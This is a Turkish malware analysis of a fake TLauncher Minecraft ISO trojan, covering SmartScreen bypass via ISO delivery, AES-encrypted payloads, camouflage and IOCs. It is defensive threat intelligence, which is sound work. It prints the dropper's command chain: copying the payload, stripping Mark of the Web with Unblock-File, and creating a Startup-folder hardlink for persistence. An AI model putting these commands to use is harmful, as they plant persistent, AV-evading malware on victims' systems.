TLauncher Sahte Minecraft ISO Truva Atı: SmartScreen Bypass, mklink Hardlink Kalıcılık ve AES Payload

Genel Bakış

TLauncher Sahte Minecraft ISO Truva Atı, resmi TLauncher Minecraft başlatıcısı kılığına girmiş zararlı bir yazılımdır. ISO görüntüsü içinde teslim edilerek Windows SmartScreen korumasını atlatmakta, mklink hardlink ile Startup kalıcılığı ve AES şifreli payload çalıştırma gibi teknikler uygulamaktadır.

Teknik Analiz

ISO Teslimat Yöntemi

Kötü amaçlı yazılım, ZIP içinde UDF ISO imajı (v1.5) olarak paketlenmiştir. ISO dosyaları Windows'ta otomatik olarak bağlanabilmekte ve SmartScreen denetimini atlatmaktadır.

Yürütme Akışı

xcopy ~\z "C:\ProgramData" /Y >nul
powershell Unblock-File -Path "C:\ProgramData\z"
mklink /h "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\TLauncher.exe" "C:\ProgramData\z" >nul
start "" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\TLauncher.exe" && EXIT

1. Payload C:\ProgramData\z dosyasına kopyalanır
2. PowerShell ile Unblock-File — indirilen dosya işareti kaldırılır (Mark of the Web bypass)
3. mklink /h ile Startup klasörüne hardlink (sembolik bağ yerine hardlink → antivirüs tespitini zorlaştırır)
4. Çalıştırıp exit

Şifreleme (AES)

• PasswordDeriveBytes → şifre tabanlı AES anahtar türetme
• CreateDecryptor / CreateEncryptor
• EncryptBytes / DecryptBytes / HexEncrypt

C2 / Altyapı

• java-for-minecraft.com → sahte Minecraft dağıtım sitesi (TLauncher kılığı)
• AES şifreli config stringleri: AeS3Oulg3fmkQaOkrXD, Aai7Zaes4vtMkxi3JiR, wqxUAESTlx

Kamuflaj

• PDB: TLauncher.pdb — gerçek TLauncher gibi görünmek için
• Copyright: TLauncher Inc.
• Dosya adı: TLauncher.exe

Teknik Özellikler

IOC Özeti

• Domain: java-for-minecraft.com
• Kalıcılık: %APPDATA%\...\Startup\TLauncher.exe (mklink hardlink)
• Dropped: C:\ProgramData\z
• SHA256: 8690354fb8a8e640e586b8022392aef9bd58519e4aa9c70444a099a818a27f35